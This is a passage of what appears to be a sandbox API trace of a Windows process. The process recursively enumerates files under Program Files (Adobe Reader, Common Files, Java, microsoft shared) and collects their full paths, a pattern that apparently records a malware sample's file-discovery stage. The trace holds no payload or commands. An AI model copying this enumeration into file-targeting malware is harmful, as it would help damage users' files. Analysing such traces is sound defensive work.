Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHRV.htm" [0029.797] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.797] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2=".") returned 1 [0029.797] lstrcmpW (lpString1="ReadMeHUN.htm", lpString2="..") returned 1 [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.797] lstrlenW (lpString="ReadMeHUN.htm") returned 13 [0029.797] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0029.797] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned 54 [0029.798] lstrcpyW (in: lpString1=0x26f540, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeHUN.htm" [0029.798] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.798] lstrcmpW (lpString1="ReadMeJ.htm", lpString2=".") returned 1 [0029.798] lstrcmpW (lpString1="ReadMeJ.htm", lpString2="..") returned 1 [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.798] lstrlenW (lpString="ReadMeJ.htm") returned 11 [0029.798] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned 52 [0029.798] lstrcpyW (in: lpString1=0x26f5b8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeJ.htm" [0029.798] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.798] lstrcmpW (lpString1="ReadMeK.htm", lpString2=".") returned 1 [0029.798] lstrcmpW (lpString1="ReadMeK.htm", lpString2="..") returned 1 [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.798] lstrlenW (lpString="ReadMeK.htm") returned 11 [0029.798] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned 52 [0029.798] lstrcpyW (in: lpString1=0x26f630, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeK.htm" [0029.798] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.798] lstrcmpW (lpString1="ReadMePOL.htm", lpString2=".") returned 1 [0029.798] lstrcmpW (lpString1="ReadMePOL.htm", lpString2="..") returned 1 [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.798] lstrlenW (lpString="ReadMePOL.htm") returned 13 [0029.798] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned 54 [0029.798] lstrcpyW (in: lpString1=0x26f6a8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMePOL.htm" [0029.798] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.798] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2=".") returned 1 [0029.798] lstrcmpW (lpString1="ReadMeRUM.htm", lpString2="..") returned 1 [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.798] lstrlenW (lpString="ReadMeRUM.htm") returned 13 [0029.798] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned 54 [0029.798] lstrcpyW (in: lpString1=0x26f720, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUM.htm" [0029.798] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.798] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2=".") returned 1 [0029.798] lstrcmpW (lpString1="ReadMeRUS.htm", lpString2="..") returned 1 [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.798] lstrlenW (lpString="ReadMeRUS.htm") returned 13 [0029.798] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned 54 [0029.798] lstrcpyW (in: lpString1=0x460060, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeRUS.htm" [0029.798] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.798] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2=".") returned 1 [0029.798] lstrcmpW (lpString1="ReadMeSKY.htm", lpString2="..") returned 1 [0029.798] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.798] lstrlenW (lpString="ReadMeSKY.htm") returned 13 [0029.798] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned 54 [0029.799] lstrcpyW (in: lpString1=0x4600d8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeSKY.htm" [0029.799] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.799] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2=".") returned 1 [0029.799] lstrcmpW (lpString1="ReadMeUKR.htm", lpString2="..") returned 1 [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.799] lstrlenW (lpString="ReadMeUKR.htm") returned 13 [0029.799] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned 54 [0029.799] lstrcpyW (in: lpString1=0x460150, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeUKR.htm" [0029.799] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.799] lstrcmpW (lpString1="Resource", lpString2=".") returned 1 [0029.799] lstrcmpW (lpString1="Resource", lpString2="..") returned 1 [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.799] lstrlenW (lpString="Resource") returned 8 [0029.799] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Resource" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource" [0029.799] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.799] lstrcmpW (lpString1="Setup Files", lpString2=".") returned 1 [0029.799] lstrcmpW (lpString1="Setup Files", lpString2="..") returned 1 [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.799] lstrlenW (lpString="Setup Files") returned 11 [0029.799] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Setup Files" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Setup Files" [0029.799] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.799] lstrcmpW (lpString1="Vigtigt.htm", lpString2=".") returned 1 [0029.799] lstrcmpW (lpString1="Vigtigt.htm", lpString2="..") returned 1 [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.799] lstrlenW (lpString="Vigtigt.htm") returned 11 [0029.799] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned 52 [0029.799] lstrcpyW (in: lpString1=0x4601c8, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Vigtigt.htm" [0029.799] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.799] lstrcmpW (lpString1="Viktig.htm", lpString2=".") returned 1 [0029.799] lstrcmpW (lpString1="Viktig.htm", lpString2="..") returned 1 [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.799] lstrlenW (lpString="Viktig.htm") returned 10 [0029.799] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned 51 [0029.799] lstrcpyW (in: lpString1=0x26f798, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktig.htm" [0029.799] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.799] lstrcmpW (lpString1="Viktigt.htm", lpString2=".") returned 1 [0029.799] lstrcmpW (lpString1="Viktigt.htm", lpString2="..") returned 1 [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned 41 [0029.799] lstrlenW (lpString="Viktigt.htm") returned 11 [0029.799] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\", lpString2="Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0029.799] lstrlenW (lpString="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned 52 [0029.799] lstrcpyW (in: lpString1=0x460240, lpString2="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" | out: lpString1="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm") returned="c:\\Program Files (x86)\\Adobe\\Reader 10.0\\Viktigt.htm" [0029.799] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.799] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.799] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0 [0029.799] FindClose (in: hFindFile=0x795a28 | out: hFindFile=0x795a28) returned 1 [0029.800] FindNextFileW (in: hFindFile=0x7959e8, lpFindFileData=0x45f0e0 | out: lpFindFileData=0x45f0e0) returned 1 [0029.800] lstrcmpW (lpString1="Common Files", lpString2=".") returned 1 [0029.800] lstrcmpW (lpString1="Common Files", lpString2="..") returned 1 [0029.800] lstrlenW (lpString="c:\\Program Files (x86)\\") returned 23 [0029.800] lstrlenW (lpString="Common Files") returned 12 [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\", lpString2="Common Files" | out: lpString1="c:\\Program Files (x86)\\Common Files") returned="c:\\Program Files (x86)\\Common Files" [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\") returned="c:\\Program Files (x86)\\Common Files\\" [0029.800] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\*") returned="c:\\Program Files (x86)\\Common Files\\*" [0029.800] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\*", lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 0x795a28 [0029.800] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.800] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.800] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.800] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.800] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.800] lstrcmpW (lpString1="Adobe", lpString2=".") returned 1 [0029.800] lstrcmpW (lpString1="Adobe", lpString2="..") returned 1 [0029.800] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.800] lstrlenW (lpString="Adobe") returned 5 [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Adobe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe") returned="c:\\Program Files (x86)\\Common Files\\Adobe" [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\" [0029.800] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\*") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\*" [0029.800] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Adobe\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.800] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.800] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.800] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.800] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.800] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.800] lstrcmpW (lpString1="Acrobat", lpString2=".") returned 1 [0029.800] lstrcmpW (lpString1="Acrobat", lpString2="..") returned 1 [0029.800] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0029.800] lstrlenW (lpString="Acrobat") returned 7 [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="Acrobat" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat" [0029.800] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.800] lstrcmpW (lpString1="ARM", lpString2=".") returned 1 [0029.800] lstrcmpW (lpString1="ARM", lpString2="..") returned 1 [0029.800] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0029.800] lstrlenW (lpString="ARM") returned 3 [0029.800] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="ARM" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\ARM" [0029.800] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.800] lstrcmpW (lpString1="HelpCfg", lpString2=".") returned 1 [0029.800] lstrcmpW (lpString1="HelpCfg", lpString2="..") returned 1 [0029.800] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Adobe\\") returned 42 [0029.800] lstrlenW (lpString="HelpCfg") returned 7 [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\", lpString2="HelpCfg" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg") returned="c:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg" [0029.801] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.801] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.801] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.801] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2=".") returned 1 [0029.801] lstrcmpW (lpString1="characters appointed birthday finally.exe", lpString2="..") returned 1 [0029.801] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.801] lstrlenW (lpString="characters appointed birthday finally.exe") returned 41 [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0029.801] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned 77 [0029.801] lstrcpyW (in: lpString1=0x26f808, lpString2="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" | out: lpString1="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe") returned="c:\\Program Files (x86)\\Common Files\\characters appointed birthday finally.exe" [0029.801] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.801] lstrcmpW (lpString1="Java", lpString2=".") returned 1 [0029.801] lstrcmpW (lpString1="Java", lpString2="..") returned 1 [0029.801] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.801] lstrlenW (lpString="Java") returned 4 [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="Java" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java") returned="c:\\Program Files (x86)\\Common Files\\Java" [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\") returned="c:\\Program Files (x86)\\Common Files\\Java\\" [0029.801] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\*") returned="c:\\Program Files (x86)\\Common Files\\Java\\*" [0029.801] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.801] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.801] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.801] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.801] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.801] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.801] lstrcmpW (lpString1="Java Update", lpString2=".") returned 1 [0029.801] lstrcmpW (lpString1="Java Update", lpString2="..") returned 1 [0029.801] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\Java\\") returned 41 [0029.801] lstrlenW (lpString="Java Update") returned 11 [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\", lpString2="Java Update" | out: lpString1="c:\\Program Files (x86)\\Common Files\\Java\\Java Update") returned="c:\\Program Files (x86)\\Common Files\\Java\\Java Update" [0029.801] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0 [0029.801] FindClose (in: hFindFile=0x795a68 | out: hFindFile=0x795a68) returned 1 [0029.801] FindNextFileW (in: hFindFile=0x795a28, lpFindFileData=0x45ee24 | out: lpFindFileData=0x45ee24) returned 1 [0029.801] lstrcmpW (lpString1="microsoft shared", lpString2=".") returned 1 [0029.801] lstrcmpW (lpString1="microsoft shared", lpString2="..") returned 1 [0029.801] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\") returned 36 [0029.801] lstrlenW (lpString="microsoft shared") returned 16 [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\", lpString2="microsoft shared" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared" [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared", lpString2="\\" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\" [0029.801] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.801] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="*" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*" [0029.801] FindFirstFileW (in: lpFileName="c:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 0x795a68 [0029.802] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="DAO", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="DAO", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="DAO") returned 3 [0029.802] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="DAO" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO" [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="ink", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="ink", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="ink") returned 3 [0029.802] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="ink" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\ink" [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="MSEnv", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="MSEnv", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="MSEnv") returned 5 [0029.802] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSEnv" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSEnv" [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="MSInfo", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="MSInfo", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files (x86)\\Common Files\\microsoft shared\\") returned 53 [0029.802] lstrlenW (lpString="MSInfo") returned 6 [0029.802] lstrcatW (in: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\", lpString2="MSInfo" | out: lpString1="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo") returned="c:\\Program Files (x86)\\Common Files\\microsoft shared\\MSInfo" [0029.802] FindNextFileW (in: hFindFile=0x795a68, lpFindFileData=0x45eb68 | out: lpFindFileData=0x45eb68) returned 1 [0029.802] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2=".") returned 1 [0029.802] lstrcmpW (lpString1="OfficeSoftwareProtectionPlatform", lpString2="..") returned 1 [0029.802] lstrlenW (lpString="c:\\Program Files 